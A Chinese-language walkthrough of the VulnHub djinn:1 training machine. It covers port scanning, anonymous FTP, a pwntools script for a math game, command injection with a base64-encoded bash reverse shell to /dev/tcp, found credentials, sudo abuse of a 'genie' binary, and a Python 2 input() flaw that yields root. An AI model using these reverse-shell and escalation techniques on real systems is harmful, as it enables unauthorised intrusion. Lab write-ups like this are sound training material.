靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

简介: 靶机实战-vuluhub系列-Hack djinn:1 : walkthrough

下载地址

https://www.vulnhub.com/entry/djinn-1,397/

环境搭建

VirtualBox

靶机Hack djinn:1 : walkthrough:192.168.56.104

信息收集

存活IP扫描(py脚本扫描)

640.png

发现靶机IP为192.168.56.104

端口扫描(Nmap)


nmap -sS -sV -T5 -A -p- 192.168.56.104

640.png

发现21,1337,7331端口开放,22端口过滤状态

21端口

ftp命令大全:http://imhuchao.com/323.html

匿名登录常用的账号密码

    anonymous/空主机的IP地址/空自己的e_mail地址/空节点自的IP地址/空admin/空administrator/空

    使用anoymous/空,成功登录

    640.png

    mget *.* 下载当前目录下的所有文件,本地进行查看

    640.png

    匿名账户登录ftp下载并查看三个txt

    creas.txt,一组用户名密码:nitu:81299

    game.txt,提示在1337端口有个游戏

    message.txt,要去度假,叫nitish81299照顾好工作

    1337端口

    使用浏览器访问了一下,无法访问

    640.png

    telnet访问

    做一些加减乘除的运算,还必须得做完1000次,需要一个脚本,盘它

    640.png

    python脚本


    from pwn import *
    c = remote('192.168.56.104',1337)
    c.recvuntil("\n\n", drop=True)
    for i in range(1001):
        c.recvuntil("(", drop=True)    int1 = c.recvuntil(",", drop=True)
        c.recvuntil("'", drop=True)    mathsym = c.recvuntil("'", drop=True)
        c.recvuntil(", ", drop=True)    int2 = c.recvuntil(")", drop=True)
        equation = int1+mathsym+int2    print(str(i)+"th answer= "+str(equation))
        c.sendlineafter('>',equation)
    c.interactive()

    算出来的结果1356、6784、3409,看不出来有啥用处

    640.png

    7331端口

    nmap扫描之后发现7331端口是HTTP服务,界面如下

    640.png

    对它进行目录扫描(webdirscan)

    640.png

    发现有两个目录 wish和genie对其进行查看


    640.png


    可能存在系统命令执行漏洞,经过测试,输入id,成功返回,存在系统命令执行漏洞

    640.png

    漏洞利用

    利用系统命令执行漏洞反弹shell

    Bash反弹,一直反弹不出来


    bash -i >& /dev/tcp/192.168.56.104/1234 0>&1

    猜测是过滤了某些字符

    Bypass一些命令注入限制的姿势

    https://xz.aliyun.com/t/3918

    https://github.com/swisskyrepo/PayloadsAllTheThings

    经过测试,base64编码就可绕过

    base64在线编码,解码

    https://www.bt.cn/tools/encrybase.html

    nc监听1234端口

    640.png

    执行如下命令:


    echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8xMjM0IDA+JjE=| base64 -d|bash

    成功反弹shell,权限是www-data


    640.png


    获取shell之后要做的第一件事是获取一个tty,不然有些命令是无法执行的

    python获取tty


    python -c 'import pty;pty.spawn("/bin/bash")'  # 有些没有安装Python2,所以需要换成python3 -c

    查看 etc/passwd发现有两个用户sam和nitish

    640.png

    在/home/nitish目录下找到user.txt文件,查看没有权限,无法查看,需要提权

    08961b23eecddd6e0fbca7ba53bfac04.png

    提权

    提权(nitish)

    在opt/80目录下查看所有文件,发现有几个py文件,查看app.py文件,发现过滤cmd的方法和一个文件

    cf38fb934c05118246e956838ca59e4e.png

    进行访问,发现是nitish的账号和密码文件


    /home/nitish/.dev/creds.txt

    发现nitish的账号密码

    账号/密码:nitish/p4ssw0rdStr3r0n9

    利用su进行提权,输入账号,密码得到nitish权限

    fb3a236eae8141061951ea7dadd9e1a5.png


    查看user.txt得到第一个flag

    提权(root)

    查找sudo权限命令:sudo -l

    4771e3b5c971194c89f3c971144e697c.png

    sudo -u sam /usr/bin/genie -h 查看下使用说明,发现可以通过这个可执行文件得到一个shell,应该输入什么样的参数才能获得sam用户的shell

    56a9499a2745ed0412b69a26ac834d41.png

    man /usr/bin/genie查看一下使用帮助

    man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。

    ddc66ef06fd5a6c4b1089a6ee7f93a9c.png

    afbce090abfe19e0b727d45f0c1dcf0e.png

    genie可以完成你所有的愿望,甚至可以提升你的权限


    执行了sudo -u sam /usr/bin/genie -p"/bin/sh",没有得到sam的shell执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限

    aeef7bdde3d1f2fbdce3d3e2a6b6b72e.png

    提权到了sam用户,再次执行sudo -l得到如下内容

    52d2181495336337dbcdbeb0c7d33a27.png

    执行sudo -u root /root/lago出现一个选择题,无论我们输入什么都不对

    d92cb5cba21a3c67e16c4147b1a4f95d.png

    读取文件也是没有权限(哎)

    使用find / -writable -type f 2>/dev/null查找可写文件

    发现了一个/home/sam/.pyc,虽然之前也看到过,但那时候并没有引起我的注意

    a966476cf473d8defe7268ae616c1918.png

    .pyc文件进行读取查看

    4c4ec558eee4a2e2a93fa7a0e7d14e2d.png

    整理出里面的内容主要内容如下


    Working on it!!Choose a number between1 to 100: sEnter your number:Better Luck next timeEnter the full of thefile to read: s!User %s is not allowed to readWhat do you want to do ?Be naughtyGuess the numberRead some damn fileEnter your choice:work your ass off!!

    这些话你之前是不是都看到过?就是在/root/lago这个可执行文件里面看到过。也就是说/root/lago的源码是Python,看/home/sam/.pyc里面也有这样的描述

    把该文件下载到本地进行反编译

    靶机上有python环境,在改文件目录下使用 python开启一个http服务,下载到本地


    python -m SimpleHTTPServer 8000

    4fc57ac609d586ba208d5f84038e0b65.png


    python反编译在线

    https://tool.lu/pyc

    反编译的代码如下


    #!/usr/bin/env python# visit http://tool.lu/pyc/ for more informationfrom getpass import getuserfrom os import systemfrom random import randintdef naughtyboi():    print 'Working on it!! 'def guessit():    num = randint(1, 101)    #num=1    print 'Choose a number between 1 to 100: '    s = input('Enter your number: ')    if s == num:        system('/bin/sh')    else:        print 'Better Luck next time'def readfiles():    user = getuser()    path = input('Enter the full of the file to read: ')    print 'User %s is not allowed to read %s' % (user, path)def options():    print 'What do you want to do ?'    print '1 - Be naughty'    print '2 - Guess the number'    print '3 - Read some damn files'    print '4 - Work'    choice = int(input('Enter your choice: '))    return choicedef main(op):    if op == 1:        naughtyboi()    elif op == 2:        guessit()    elif op == 3:        readfiles()    elif op == 4:        print 'work your ass off!!'    else:        print 'Do something better with your life'if __name__ == '__main__':    main(options())

    python input()漏洞

    Python 2.x 中有两种常用的方法来接收输入:

    1、使用输入()功能:此功能需要您输入的输入值和类型,因为它是在不修改任何类型。

    2、使用raw_input() 函数:该函数将您提供的输入显式转换为字符串类型

      s1 =raw_input("Enter input to testraw_input() function: ")printtype(s1)
      s2 =raw_input("Enter input to testraw_input() function: ")printtype(s2)
      s3 =raw_input("Enter input to testraw_input() function: ")printtype(s3)
      s4 =input("Enter input to testinput() function: ")printtype(s4)
      s5 =input("Enter input to testinput() function: ")printtype(s5)
      s6 =input("Enter input to testinput() function: ")printtype(s6)

      输入

        你好456[1,2,3]45“再见”[1,2,3]

        输出

          Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>Enter input totest raw_input() function: <type 'str'>
          Enter input totest input () 函数:<type ' int '>Enter inputtotest input() function: <type ' str '>Enter input to testinput() function: <type ' list '>

          可以看到使用raw_input()无论输入什么都是str字符串类型,input()输入要想输入”你好”必须要用引号不然会报错。也就是说如果input()输入一个变量返回也就是变量的值,不是一个”secret_number”字符串,raw_input()输入一个变量输出也就是个”secret_number”字符串,如下代码:

            import randomsecret_number = random.randint(1,500)print "pick a number between 1 to 500"while True:    res = input("Guess the number:")#输入secret_number#print(secret_number)    #res = raw_input("Guess thenumber: ")#输入secret_number#print(secret_number)if res==secret_number:        print "You win"        break    else:        print "You lose"        continue

            input(secret_number)会输出you win

            raw_input(secret_number)会输出you lose

            输入2,在输入num就提权到了root权限啦,得到第二个flag。

            7f963dd0b6d28e84e746919e5d742dfa.png

            8dbf127c8efa0ccdc10573cc615dc38c.pngc4addd82ad3fe38f0ca78888b6758135.png


            倏忽温风至,因循小暑来。洋湖有清风,可以消烦暑。城市的浮热,在原上的浓阴下散去。

            相关文章
            |
            9月前
            |
            人工智能 编解码 芯片
            告别低效沟通|让技术提问不再头疼-这套高效AI提问模板来帮你
            不会向ai提问,不知道怎么提问的 可以看看
            20958 1
            告别低效沟通|让技术提问不再头疼-这套高效AI提问模板来帮你
            |
            6月前
            |
            安全 Linux iOS开发
            Tenable Nessus 10.9.3 (macOS, Linux, Windows) - 漏洞评估解决方案
            Tenable Nessus 10.9.3 (macOS, Linux, Windows) - 漏洞评估解决方案
            628 0
            Tenable Nessus 10.9.3 (macOS, Linux, Windows) - 漏洞评估解决方案
            |
            6月前
            |
            人工智能 自然语言处理 安全
            如何让 AI 工具更懂你,更听话?
            你是否也曾被AI“气到吐血”?明明说的是A,AI却给了B?别沮丧,2025年的AI也需要“正确沟通”。本文教你五大提示技巧:动态提示、多模态输入、Few-shot示例、任务分解与安全边界,让AI从“人工智障”变身“贴心助手”。学会“说AI的语言”,释放创造力,提升效率,开启智能生活新时代!
            1619 0
            |
            11月前
            |
            人工智能
            Chain of Draft: 借鉴人类草稿思维让大型语言模型更快地思考
            本研究探讨了大型语言模型(LLMs)在复杂推理任务中的计算资源消耗与响应延迟问题,特别是思维链(CoT)提示范式的效率局限性。为解决这一问题,研究引入了Chain of Draft (CoD) 方法论,通过生成简洁、高信息密度的中间输出,模拟人类认知过程。CoD将每步限制在五个单词以内,减少冗余表达,显著降低token消耗和计算成本,同时保持或提升推理准确性。实验结果显示,CoD在多种推理任务中表现出色,大幅减少了token使用量(仅为CoT的7.6%),缩短了响应时间,提升了LLM在实际应用中的效率与实用性。
            250 14
            Chain of Draft: 借鉴人类草稿思维让大型语言模型更快地思考
            |
            11月前
            |
            人工智能 自动驾驶 安全
            什么是AGI
            通用人工智能(AGI)指具备或超越人类智能的机器系统,能跨领域学习、推理和解决问题。其核心特点包括跨领域能力、自主学习与推理、类人思维模式及自适应性。目前AGI仍处早期阶段,但大模型和多模态技术正推动其从理论走向应用,如自动驾驶、科学研究和工业自动化等。尽管前景广阔,AGI仍面临技术瓶颈、伦理安全和资源需求等挑战。未来,AGI有望重塑产业和社会生活方式。
            7595 2
            |
            安全 Shell Linux
            记录VulnHub 靶场——Escalate_Linux渗透测试过程
            本文档描述了一次靶场环境的搭建和渗透测试过程。首先,提供了靶机环境的下载链接,并建议在VMware或VirtualBox中以NAT模式或仅主机模式导入。接着,通过Kali Linux扫描发现靶机IP,并用Nmap扫描开放端口,识别出80、111、139、445、2049等端口。在80端口上找到一个shell.php文件,通过它发现可以利用GET参数传递cmd命令。
            938 0
            |
            存储 安全 网络安全
            智能家居安全:从入门到精通
            在这篇文章中,我们将深入探讨智能家居系统的安全性问题。随着科技的发展,智能家居设备越来越普及,但随之而来的是安全问题的增多。本文将带你了解智能家居系统可能面临的安全风险,并提供实用的防护措施,帮助你构建一个安全的智能家庭环境。
            |
            SQL 安全 Linux
            命令执行漏洞
            命令执行漏洞
            |
            安全 Linux 网络安全
            【工具使用】几款优秀的SSH连接客户端软件工具推荐FinalShell、Xshell、MobaXterm、OpenSSH、PUTTY、Terminus、mRemoteNG、Terminals等
            【工具使用】几款优秀的SSH连接客户端软件工具推荐FinalShell、Xshell、MobaXterm、OpenSSH、PUTTY、Terminus、mRemoteNG、Terminals等
            134390 0